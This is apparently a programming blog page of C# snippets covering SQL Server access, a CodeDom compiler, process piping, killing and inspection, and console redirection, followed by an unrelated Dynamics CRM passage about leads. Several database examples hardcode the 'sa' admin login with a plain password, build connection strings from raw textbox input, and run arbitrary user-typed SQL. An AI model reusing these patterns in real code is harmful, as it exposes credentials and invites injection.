         WM_UNDO = 0x304, 
         WM_UNINITMENUPOPUP = 0x125, 
         WM_UPDATEUISTATE = 0x128, 
         WM_USERCHANGED = 0x54, 
         WM_VKEYTOITEM = 0x2E, 
         WM_VSCROLL = 0x115, 
         WM_VSCROLLCLIPBOARD = 0x30A, 
         WM_WINDOWPOSCHANGED = 0x47, 
         WM_WINDOWPOSCHANGING = 0x46, 
         WM_WININICHANGE = 0x1A, 
         WM_WNT_CONVERTREQUESTEX = 0x109, 
         WM_XBUTTONDBLCLK = 0x20D, 
         WM_XBUTTONDOWN = 0x20B, 
         WM_XBUTTONUP = 0x20C 
         } 
         
         public static int WIN32_SendMessage( int handle, WM ww,int WParam, int LParam) 
         { 
         int wm = (int)ww; 
         int ret = SendMessage(handle, wm,WParam, LParam); 
         return ret; 
         } 
         
         
         
         } 
        }
    

    Connection String Class

    In computing, a connection string is a string that specifies information about a data source and the means of connecting to it. It is passed in code to an underlying driver or provider in order to initiate the connection. This is an example of a utility to facilitates the db connection.


    Get String from database


    Stored procedure example

    Sql Data Reader Example

    //Sql Data Reader
    using System;
    using System.Collections.Generic;
    using System.ComponentModel;
    using System.Data;
    using System.Drawing;
    using System.Linq;
    using System.Text;
    using System.Windows.Forms;
    using System.Data.Sql;
    using System.Data.SqlClient;
    
    namespace killercodes_in.SqlDataReader1
    {
        public partial class Form1 : Form
        {
            private string _cString1 = "Data Source=(local);Initial Catalog=avyukta;User Id=sa;Password=iamadmin;";
            public Form1()
            {
                InitializeComponent();
            }
    
            private void button1_Click(object sender, EventArgs e)
            {
                SqlConnection sqc = new SqlConnection(_cString1);
                SqlCommand cmd = new SqlCommand("select * from grademstr", sqc);
                SqlDataReader reader;
                try
                {
                    sqc.Open();
                    sqc.Close();
                }
                catch
                {
                }
                sqc.Open();
                reader = cmd.ExecuteReader();
                while (reader.Read())
                {
                    textBox1.Text = reader["Gradeid"].ToString();
                    textBox2.Text = reader["GradeCode"].ToString();
                    textBox3.Text = reader["GradeDesc"].ToString();
                    textBox4.Text = reader["DA_Percent"].ToString();
                }
                reader.Close();
                cmd.Dispose();
                sqc.Close();
            }
        }
    }
    

    Sql Data Adapter Example

    SqlDataAdapter is a part of the ADO.NET Data Provider and it resides in the System.Data.SqlClient namespace. SqlDataAdapter provides the communication between the Dataset and the SQL database. We can use SqlDataAdapter Object in combination with Dataset Object.


    Get Scema table

    //get schema table
    using System;
    using System.Collections.Generic;
    using System.ComponentModel;
    using System.Data;
    using System.Drawing;
    using System.Linq;
    using System.Text;
    using System.Windows.Forms;
    using System.Data.Sql;
    using System.Data.SqlClient;
    
    namespace GetScemaTable
    {
        public partial class Form1 : Form
        {
            public string _connStr_ = "Data Source=127.0.0.1,1433;Initial Catalog=killercode;User Id=sa;Password=iamadmin;";
            SqlCommand scmd;
            SqlConnection conn;
    
            public Form1()
            {
                InitializeComponent();
            }
    
            private void button1_Click(object sender, EventArgs e)
            {
                try
                {
                    conn = new SqlConnection(_connStr_);
                    scmd = new SqlCommand("select * from grademstr", conn);
    
                    scmd.Connection.Open();
                    SqlDataReader sdr = scmd.ExecuteReader();
                    DataTable gst = sdr.GetSchemaTable();
    
                    foreach (DataRow item in gst.Rows)
                    {
                        foreach (DataColumn col in gst.Columns)
                        {
                            MessageBox.Show(string.Format("{0} = {1}", col.ColumnName, item[col]));
                        }
                    }
                    sdr.Close();
                    scmd.Dispose();
                    conn.Close();
                }
                catch (Exception ex)
                {
                    MessageBox.Show(ex.Message);
                }
            }
        }
    }
    

    Data Connection Example

    //Data Connection
    using System.Data.SqlClient;
    using System.Data;
    
    namespace killercodes_in.DataConnect
    {
        public partial class Form1 : Form
        {
            SqlConnection con;
            SqlDataAdapter adp;
            DataSet ds;
    
            public string _intsec = "Data Source=127.0.0.1;Initial Catalog=Authors;Integrated Security=True;Pooling=False";
            public string ExtSec = "Data Source=127.0.0.1;Initial Catalog=Authors;Integrated Security=True;Pooling=False";
            public string _tcp_sa_Sec = "Data Source=127.0.0.1;Network Library=DBMSSOCN;Initial Catalog=master;Integrated Security=False;User ID=sa;Password=iamadmin;";
            private string _cString1 = "Data Source=(local);Initial Catalog=killercode;User Id=sa;Password=iamadmin;";
    
            public Form1()
            {
                InitializeComponent();
                con = new SqlConnection(_cString1);
            }
    
            private void btnConnect_Click(object sender, EventArgs e)
            {
                SqlConnection oCon;
                SqlCommand oCmd;
                string strCon;
                //oCon.ConnectionString = 
    
    
                oCon = new SqlConnection();
                oCon.ConnectionString = ExtSec;
                MessageBox.Show(oCon.ConnectionString);
                MessageBox.Show(oCon.E_Error().ToString());
    
                oCon.E_SetString("127.0.0.1", "master", "sa", "iamadmin");
                MessageBox.Show(oCon.ConnectionString);
                MessageBox.Show(oCon.E_Error().ToString());
    
                oCon.E_SetString("127.0.0.1", "master");
                MessageBox.Show(oCon.ConnectionString);
                MessageBox.Show(oCon.E_Error().ToString());
    
            }
    
            private void btnExecute_Click(object sender, EventArgs e)
            {
                SqlCommand oCmd;
                string strConn;
    
                try
                {
                    strConn = "Data Source=(local);Initial Catalog=" + txtDb.Text + ";User ID=" + txtId.Text
                    + ";Password=" + txtPsw.Text + ";";
                    oCmd = new SqlCommand();
                    oCmd.Connection = new SqlConnection(strConn);
                    oCmd.Connection.Open();
                    oCmd.CommandText = txtSql.Text;
                    txtRows.Text = oCmd.ExecuteNonQuery().ToString();
    
                    MessageBox.Show("SQL Statement succeded");
    
                    oCmd.Connection.Close();
                }
                catch (Exception ExSCon)
                {
                    MessageBox.Show(ExSCon.Message);
                }
    
    
            }
    
            private void chkSecurity_CheckedChanged(object sender, EventArgs e)
            {
    
                if (chkSecurity.Checked == true)
                {
                    txtId.Enabled = false;
                    txtPsw.Enabled = false;
    
                }
                else
                {
                    txtId.Enabled = true;
                    txtPsw.Enabled = true;
                }
            }
    
            private void button1_Click(object sender, EventArgs e)
            {
                try
                {
                    con.Open();
                    con.Close();
                }
                catch (Exception)
                {
    
                }
    
                ds = new DataSet();
    
                adp = new SqlDataAdapter("select * from grademstr", con);
                SqlCommandBuilder cb = new SqlCommandBuilder(adp);
                adp.Fill(ds, "grademstr");
                dataGridView1.DataSource = ds;
                dataGridView1.DataMember = "grademstr";
            }
        }
    
        public static class Extended
        {
            public static bool E_Check(this SqlConnection astr)
            {
                try
                {
                    astr.Open();
                    astr.Close();
                    return true;
                }
                catch (Exception ee)
                {
                    return false;
                }
            }
    
            public static bool E_Check(this SqlConnection astr, string OkMsg, string NokMsg)
            {
                try
                {
                    astr.Open();
                    astr.Close();
                    MessageBox.Show(OkMsg, "Vola", MessageBoxButtons.OK, MessageBoxIcon.Exclamation);
                    return true;
                }
                catch (Exception ee)
                {
                    MessageBox.Show(NokMsg, "Oops", MessageBoxButtons.OK, MessageBoxIcon.Stop);
                    return false;
                }
    
            }
    
            public static bool E_Error(this SqlConnection astr)
            {
                try
                {
                    astr.Open();
                    astr.Close();
                    return true;
                }
                catch (Exception ee)
                {
                    MessageBox.Show(ee.Message, "An Error occured @ " + ee.Source, MessageBoxButtons.OK, MessageBoxIcon.Stop);
                    return false;
                }
            }
    
            public static void E_SetString(this SqlConnection sqc, string IP, string db_Name, string ID, string Password)
            {
                sqc.ConnectionString = "Data Source=" + IP + ";Network Library=DBMSSOCN;Initial Catalog=" + db_Name + ";Integrated Security=False;User ID=" + ID + ";Password=" + Password + ";";
            }
    
            public static void E_SetString(this SqlConnection sqc, string IP, string db_Name)
            {
                sqc.ConnectionString = "Data Source=" + IP + ";Initial Catalog=" + db_Name + ";Integrated Security=True;Pooling=False";
            }
        }
    }
    
    

    Data Adapter Example


    dotNet Compiler using codedom

    //dot net compiler
    using System; 
    using System.CodeDom.Compiler; 
    using System.IO; 
         
    namespace IndiLogix.dotCompiler 
    { 
        class dotCompiler 
        { 
            FileInfo sourceFile;// = new FileInfo(sourceName); 
            CodeDomProvider provider = null; 
            bool compileOk = false; 
         
        
            // Compile Executable 
            public bool CompileExecutable(String sourceName) 
            { 
                sourceFile = new FileInfo(sourceName); 
                I_GetProvider(sourceFile); 
                if (sourceFile.Extension.ToUpper(System.Globalization.CultureInfo.InvariantCulture) == ".CS") 
                { 
                    provider = CodeDomProvider.CreateProvider("CSharp"); 
                    //return "CSharp"; 
                } 
         
                if (provider != null) 
                { 
         
                    // Format the executable file name. 
                    // Build the output assembly path using the current directory 
                    // and _cs.exe or _vb.exe. 
         
                    String exeName = String.Format(@"{0}\{1}.exe", 
                    System.Environment.CurrentDirectory, 
                    sourceFile.Name.Replace(".", "_")); 
                    string dllName = String.Format(@"{0}\{1}.dll", System.Environment.CurrentDirectory, sourceFile.Name.Replace(".", "_")); 
         
                    CompilerParameters cp = new CompilerParameters(); 
         
                    // Generate an executable instead of a class library. 
                    cp.GenerateExecutable = true; 
         
                    // Specify the assembly file name to generate. 
                    cp.OutputAssembly = exeName; 
         
                    // Save the assembly as a physical file. 
                    cp.GenerateInMemory = false; 
         
                    // Set whether to treat all warnings as errors. 
                    cp.TreatWarningsAsErrors = false; 
         
                    // Invoke compilation of the source file. 
                    CompilerResults cr = provider.CompileAssemblyFromFile(cp, sourceName); 
                    string temp; 
                    if (cr.Errors.Count > 0) 
                    { 
                        // Display compilation errors. 
                        temp = sourceName + "\n" + cr.PathToAssembly; 
         
                        foreach (CompilerError ce in cr.Errors) 
                        { 
                            temp += "\nError:" + ce.ToString(); 
                        } 
                        System.Windows.Forms.MessageBox.Show(temp, "dotCompiler Error:", System.Windows.Forms.MessageBoxButtons.OK); 
                    } 
                    else 
                    { 
                        // Display a successful compilation message. 
                        //Console.WriteLine("Source {0} built into {1} successfully.",sourceName, cr.PathToAssembly); 
                        System.Windows.Forms.MessageBox.Show("Solution build sucessfully..\n\n" + sourceName + "\n" + cr.PathToAssembly,"dotCompiler:)",System.Windows.Forms.MessageBoxButtons.OK); 
                    } 
         
                    // Return the results of the compilation. 
                    if (cr.Errors.Count > 0) 
                    { 
                        compileOk = false; 
                    } 
                    else 
                    { 
                        compileOk = true; 
                    } 
                } 
                return compileOk; 
            } 
         
            private void I_GetProvider(FileInfo sourceFile) 
            { 
                // Select the code provider based on the input file extension. 
                if (sourceFile.Extension.ToUpper(System.Globalization.CultureInfo.InvariantCulture) == ".CS") 
                { 
                    provider = CodeDomProvider.CreateProvider("CSharp"); 
                } 
                else if (sourceFile.Extension.ToUpper(System.Globalization.CultureInfo.InvariantCulture) == ".VB") 
                { 
                    provider = System.CodeDom.Compiler.CodeDomProvider.CreateProvider("VisualBasic"); 
                } 
                else 
                { 
                    //Console.WriteLine("Source file must have a .cs or .vb extension"); 
                    //_Notify("Error:", "Source file must have a .cs or .vb extension", ToolTipIcon.Error); 
                    System.Windows.Forms.MessageBox.Show( 
                    "Source file must have *.cs or *.vb extension", "dotCompiler Error", 
                    System.Windows.Forms.MessageBoxButtons.OK); 
                } 
            } 
         
            private string I_GetProvider_RetStr(FileInfo sourceFile) 
            { 
         
                // Select the code provider based on the input file extension. 
                if (sourceFile.Extension.ToUpper(System.Globalization.CultureInfo.InvariantCulture) == ".CS") 
                { 
                    provider = CodeDomProvider.CreateProvider("CSharp"); 
                    return "CSharp"; 
                } 
                else if (sourceFile.Extension.ToUpper(System.Globalization.CultureInfo.InvariantCulture) == ".VB") 
                { 
                    provider = System.CodeDom.Compiler.CodeDomProvider.CreateProvider("VisualBasic"); 
                    return "VisualBasic"; 
                } 
                else 
                { 
                    //Console.WriteLine("Source file must have a .cs or .vb extension"); 
                    //_Notify("Error:", "Source file must have a .cs or .vb extension", ToolTipIcon.Error); 
                    return "Source file must have *.cs or *.vb extension"; 
                } 
            } 
         
            public bool CompileDll(String sourceName) 
            { 
         
                sourceFile = new FileInfo(sourceName); 
                I_GetProvider(sourceFile); 
         
                if (provider != null) 
                { 
         
                // Format the executable file name. 
                // Build the output assembly path using the current directory 
                // and _cs.exe or _vb.exe. 
         
                String exeName = String.Format(@"{0}\{1}.exe", 
                System.Environment.CurrentDirectory, 
                sourceFile.Name.Replace(".", "_")); 
                string dllName = String.Format(@"{0}\{1}.dll", System.Environment.CurrentDirectory, sourceFile.Name.Replace(".", "_")); 
         
                CompilerParameters cp = new CompilerParameters(); 
         
                // Generate an executable instead of a class library. 
                cp.GenerateExecutable = false; 
         
                // Specify the assembly file name to generate. 
                cp.OutputAssembly = dllName; 
         
                // Save the assembly as a physical file. 
                cp.GenerateInMemory = false; 
         
                // Set whether to treat all warnings as errors. 
                cp.TreatWarningsAsErrors = false; 
         
                // Invoke compilation of the source file. 
                CompilerResults cr = provider.CompileAssemblyFromFile(cp, sourceName); 
                string temp; 
                if (cr.Errors.Count > 0) 
                { 
                // Display compilation errors. 
                temp = "compiling " + sourceName + " to " + cr.PathToAssembly; 
         
                foreach (CompilerError ce in cr.Errors) 
                { 
                temp += "\nError:" + ce.ToString(); 
                } 
         
                    System.Windows.Forms.MessageBox.Show(temp, "dotCompiler Error:", System.Windows.Forms.MessageBoxButtons.OK); 
                } 
                else 
                { 
                    // Display a successful compilation message. 
                    //Console.WriteLine("Source {0} built into {1} successfully.",sourceName, cr.PathToAssembly); 
                    System.Windows.Forms.MessageBox.Show("Solution build sucessfully..\n\n" + sourceName + "\n" + cr.PathToAssembly, "dotCompiler:)", System.Windows.Forms.MessageBoxButtons.OK); 
                } 
         
                    // Return the results of the compilation. 
                    if (cr.Errors.Count > 0) 
                    { 
                        compileOk = false; 
                    } 
                    else 
                    { 
                        compileOk = true; 
                    } 
                } 
            return compileOk; 
            } 
         
        } 
    } 
    

    Piping a process

    //process piping
    using System;
    using System.Collections.Generic;
    using System.Linq;
    using System.Text;
    using System.Diagnostics;
    using System.IO;
    using System.Windows.Forms;
    
    namespace IndiLogiX.Propipe
    {
        static class IProcessPipe
        {
    
            public static void ExecPro(string ProcName, string args, string WrkDir, string cmdtxt, out string coutext)
            {
                Process cmd = new Process();
    
                cmd.StartInfo.FileName = ProcName;
                cmd.StartInfo.Arguments = args;
                cmd.StartInfo.UseShellExecute = false;
                cmd.StartInfo.WorkingDirectory = WrkDir;
                cmd.StartInfo.CreateNoWindow = true;
                cmd.StartInfo.ErrorDialog = true;
                cmd.StartInfo.RedirectStandardOutput = true;
                cmd.StartInfo.RedirectStandardInput = true;
                cmd.StartInfo.RedirectStandardError = true;
    
                cmd.Start();
                StreamWriter cin = cmd.StandardInput;
                StreamReader cout = cmd.StandardOutput;
    
                cin.WriteLine(cmdtxt);
                cin.Close();
                coutext = cout.ReadToEnd();
                cmd.WaitForExit();
                cmd.Close();
            }
    
            public static string ExecPro(string ProcName, string args, string WrkDir, string cmdtxt)
            {
                Process cmd = new Process();
                string coutext;
                cmd.StartInfo.FileName = ProcName;
                cmd.StartInfo.Arguments = args;
                cmd.StartInfo.UseShellExecute = false;
                cmd.StartInfo.WorkingDirectory = WrkDir;
                cmd.StartInfo.CreateNoWindow = true;
                cmd.StartInfo.ErrorDialog = true;
                cmd.StartInfo.RedirectStandardOutput = true;
                cmd.StartInfo.RedirectStandardInput = true;
                cmd.StartInfo.RedirectStandardError = true;
    
                cmd.Start();
                StreamWriter cin = cmd.StandardInput;
                StreamReader cout = cmd.StandardOutput;
    
                cin.WriteLine(cmdtxt);
                cin.Close();
                coutext = cout.ReadToEnd();
                cmd.WaitForExit();
                cmd.Close();
    
                return coutext;
            }
    
    
        }
    }
    
    

    Kill a process

    //Kill process
    using System;
    using System.Collections.Generic;
    using System.Linq;
    using System.Text;
    using System.Diagnostics;
    
    namespace IndiLogix.ProcKiller
    {
        class IProcKiller
        {
            public void I_KillByName(string ProcName)
            {
                try
                {
                    Process[] processByName = Process.GetProcessesByName(ProcName);
                    //Process pogo = Process.GetProcesses(); 
                    foreach (Process pr in processByName)
                    {
                        pr.Kill();
                    }
                }
                catch
                {
                    Console.WriteLine("Cannot terminate " + ProcName + "\n");
                }
            }
    
            public void I_KillByWinName(string WindowName)
            {
                //bool res; 
                try
                {
                    Process[] pro = Process.GetProcesses();
                    foreach (Process p in pro)
                    {
                        if (p.MainWindowTitle.Equals(WindowName))
                        {
                            //res = true; 
                            p.Kill();
                            //return true; 
                            //break; 
                        }
                        else
                        {
                            //res = false; 
                            //return false; 
                            //break; 
                        }
                    }
                }
                catch
                {
                    System.Windows.Forms.MessageBox.Show("Cannot terminate " + WindowName + "\n Process Not found", "Erraor:");
                }
                //return true; 
            }
        }
    }
    
    

    Get Process Information

    //Get Process Infomation
    using System;
    using System.Collections.Generic;
    using System.Linq;
    using System.Text;
    using System.Diagnostics;
    
    namespace IndiLogix.ProcInf
    {
        struct ProcInfo
        {
            internal string PName, PWinTitle, PMscNm, PMnMod, PMmFnm;
            internal int PId, PBsPri, PExCod, PHwCnt, PMModMemSz, PSsnId, PThdCnt;
            internal DateTime PExTim, PStrTime;
            internal IntPtr PHwnd, PMmBsAdd, PMmEnPoAd, PMnWinHw, PMxWrkSt, PMinWrkSet, PProAff;
            internal bool PHsExt, PResp, PPriBooEnb;
            internal FileVersionInfo PMmFlVer;
            internal TimeSpan PToProTm, PUsrProTim, PPrvProTim;
            internal long PNonPgSysMemSiz, PWrkSet, PVirMemSiz, PPgMemSiz, PPgSysMemSiz, PPekPgMemSiz, PPekVirMemSiz, PPekWrkSet, PPvtMemSiz;
    
        };
    
        class I_ProcInfo
        {
            private const string usage = @"This is process Framework form IndiLogix, 
        It shows various process info";
    
            private ProcInfo pn;
    
            public string AboutIt
            {
                get { return usage; }
            }
            #region Process Property
            public int ProcessId { get { return pn.PId; } }
            public string MainWindowTitle { get { return pn.PWinTitle; } }
            public string ProcessName { get { return pn.PName; } }
            public int BasePriority { get { return pn.PBsPri; } }
            public int ExitCode { get { return pn.PExCod; } }
            public IntPtr Handle { get { return pn.PHwnd; } }
            public int HandleCount { get { return pn.PHwCnt; } }
            public bool HasExited { get { return pn.PHsExt; } }
            public string MachineName { get { return pn.PMscNm; } }
            public string Mod_Filename { get { return pn.PMmFnm; } }
            public FileVersionInfo Mod_Verinfo { get { return pn.PMmFlVer; } }
            public int Mod_MemorySize { get { return pn.PMModMemSz; } }
            public IntPtr Mod_BaseAddress { get { return pn.PMmBsAdd; } }
            public IntPtr Mod_EntryPointAddress { get { return pn.PMmEnPoAd; } }
            public string Mod_ModuleName { get { return pn.PMnMod; } }
            public IntPtr MainWindowHandle { get { return pn.PMnWinHw; } }
            public IntPtr MaxWorkingSet { get { return pn.PMxWrkSt; } }
            public IntPtr MinWorkingSet { get { return pn.PMinWrkSet; } }
            public bool Responding { get { return pn.PResp; } }
            public int SessionId { get { return pn.PSsnId; } }
            public int ThreadsCount { get { return pn.PThdCnt; } }
            public TimeSpan TotalProcessTIme { get { return pn.PToProTm; } }
            public TimeSpan UserProcessTIme { get { return pn.PUsrProTim; } }
            public long NonPagedSysMemory { get { return pn.PNonPgSysMemSiz; } }
            public long PageMemorySize { get { return pn.PPgMemSiz; } }
            public long PagedSystemMemorySize { get { return pn.PPgSysMemSiz; } }
            public long PeakPagedMemorySize { get { return pn.PPekPgMemSiz; } }
            public long PeakVirtualMemorySize { get { return pn.PPekVirMemSiz; } }
            public long PeakWorkingSet { get { return pn.PPekWrkSet; } }
            public bool PriorityBoostEnabled { get { return pn.PPriBooEnb; } }
            public long PrivateMemorySize { get { return pn.PPvtMemSiz; } }
            public TimeSpan PrivilegedProcessTime { get { return pn.PPrvProTim; } }
            public IntPtr ProcessorAffinity { get { return pn.PProAff; } }
            public DateTime StartTime { get { return pn.PStrTime; } }
            public long VirtualMemorySize { get { return pn.PVirMemSiz; } }
            public long WorkingSet { get { return pn.PWrkSet; } }
            #endregion
    
            public void I_Kill(string ProcName)
            {
                try
                {
                    Process[] processByName = Process.GetProcessesByName(ProcName);
                    //Process pogo = Process.GetProcesses(); 
                    foreach (Process pr in processByName)
                    {
                        pr.Kill();
                    }
                }
                catch
                {
                    Console.WriteLine("Cannot terminate " + ProcName + "\n");
                }
            }
    
            public void I_Kill(int Id)
            {
                try
                {
                    Process processById = Process.GetProcessById(Id);
                    processById.Kill();
                    //foreach (Process pr in processByName) 
                    //{ 
                    //    pr.Kill(); 
                    //} 
                }
                catch
                {
                    Console.WriteLine("Cannot terminate " + Id + "\n");
                }
            }
    
            public static void I_GetRunningProc()
            {
                Process[] go = Process.GetProcesses();
                foreach (Process g in go)
                {
                    Console.WriteLine("{0}|{1}|{2}", g.ProcessName, g.MainWindowTitle, g.Id.ToString());
                }
            }
    
            public string I_GetProcName(int Id)
            {
                string res = "Process Not Found";
                Process[] pro = Process.GetProcesses();
                foreach (Process p in pro)
                {
                    if (p.Id.Equals(Id))
                    {
                        res = p.ProcessName;
                        break;
                    }
                    else
                    {
                        res = "Process Not Found";
                    }
                }
                return res;
            }
    
            public int I_GetProcId(string pnm)
            {
                int res = 0;
                Process[] pro = Process.GetProcesses();
                foreach (Process p in pro)
                {
                    if (p.ProcessName.Equals(pnm))
                    {
                        res = p.Id;
                        break;
                    }
                    else
                    {
                        res = 0;
                    }
                }
                return res;
            }
            public void I_GetProcInfo(string ProcessName)
            {
                Process[] go = Process.GetProcesses();
                foreach (Process g in go)
                {
                    if (g.ProcessName.Equals(ProcessName))
                    {
                        pn.PName = g.ProcessName;
                        pn.PWinTitle = g.MainWindowTitle;
                        pn.PId = g.Id;
                        pn.PBsPri = g.BasePriority;
                        //pn.PExCod = g.ExitCode; 
                        //pn.PExTim = g.ExitTime; 
                        pn.PHwnd = g.Handle;
                        pn.PHwCnt = g.HandleCount;
                        pn.PHsExt = g.HasExited;
                        pn.PMscNm = g.MachineName;
                        pn.PMmFnm = g.MainModule.FileName;
                        pn.PMmFlVer = g.MainModule.FileVersionInfo;
                        pn.PMModMemSz = g.MainModule.ModuleMemorySize;
                        pn.PMmBsAdd = g.MainModule.BaseAddress;
                        pn.PMmEnPoAd = g.MainModule.EntryPointAddress;
                        pn.PMnMod = g.MainModule.ModuleName;
                        pn.PMnWinHw = g.MainWindowHandle;
                        pn.PMxWrkSt = g.MaxWorkingSet;
                        pn.PMinWrkSet = g.MinWorkingSet;
                        pn.PResp = g.Responding;
                        pn.PSsnId = g.SessionId;
                        pn.PThdCnt = g.Threads.Count;
                        pn.PToProTm = g.TotalProcessorTime;
                        pn.PUsrProTim = g.UserProcessorTime;
                        pn.PNonPgSysMemSiz = g.NonpagedSystemMemorySize64;
                        pn.PPgMemSiz = g.PagedMemorySize64;
                        pn.PPgSysMemSiz = g.PagedSystemMemorySize64;
                        pn.PPekPgMemSiz = g.PeakPagedMemorySize64;
                        pn.PPekVirMemSiz = g.PeakVirtualMemorySize64;
                        pn.PPekWrkSet = g.PeakWorkingSet64;
                        pn.PPriBooEnb = g.PriorityBoostEnabled;
                        pn.PPvtMemSiz = g.PrivateMemorySize64;
                        pn.PPrvProTim = g.PrivilegedProcessorTime;
                        pn.PProAff = g.ProcessorAffinity;
                        pn.PStrTime = g.StartTime;
                        pn.PVirMemSiz = g.VirtualMemorySize64;
                        pn.PWrkSet = g.WorkingSet64;
                    }
                }
    
    
            }
    
        }
    }
    
    

    Console output in memory stream

    //piping console output
    MemoryStream mem = new MemoryStream(1000); 
                StreamWriter writer = new StreamWriter(mem); 
                Console.SetOut(writer); 
         
                Assembly assembly = Assembly.LoadFrom(@"C:\ConsoleApp.exe"); 
                assembly.EntryPoint.Invoke(null, null); 
                writer.Close(); 
         
                string s = Encoding.Default.GetString(mem.ToArray()); 
                mem.Close();
    

    Redirect Cmd.exe to window

    //Piping Console
            void RunWithRedirect(string cmdPath) 
            { 
                var proc = new Process(); 
                proc.StartInfo.FileName = cmdPath; 
         
                // set up output redirection 
                proc.StartInfo.RedirectStandardOutput = true; 
                proc.StartInfo.RedirectStandardError = true;    
                proc.EnableRaisingEvents = true; 
                proc.StartInfo.CreateNoWindow = true; 
                // see below for output handler 
                proc.ErrorDataReceived += proc_DataReceived; 
                proc.OutputDataReceived += proc_DataReceived; 
         
                proc.Start(); 
         
                proc.BeginErrorReadLine(); 
                proc.BeginOutputReadLine(); 
         
                proc.WaitForExit(); 
            } 
         
            void proc_DataReceived(object sender, DataReceivedEventArgs e) 
            { 
                // output will be in string e.Data 
            }
    

    Follow a lead from creation through closure

    A lead record in Microsoft Dynamics CRM Online represents a potential customer who must be qualified or disqualified as a sales opportunity. You can use leads to manage potential sales from the point at which you become aware of a customer's interest through the successful sale.

    The following diagram illustrates the ways that you can create a lead and convert it to several different record types.

    Lead diagram

    There are several ways that you can create a lead in Microsoft Dynamics CRM Online:

    After you create the lead, you can convert it into any of the following three record types:

    • Account
    • Contact
    • Opportunity

    When you convert the lead to an opportunity, you can also choose to link the new opportunity to the new accounts or contacts you may have created, or to an existing account or contact in your Microsoft Dynamics CRM Online database.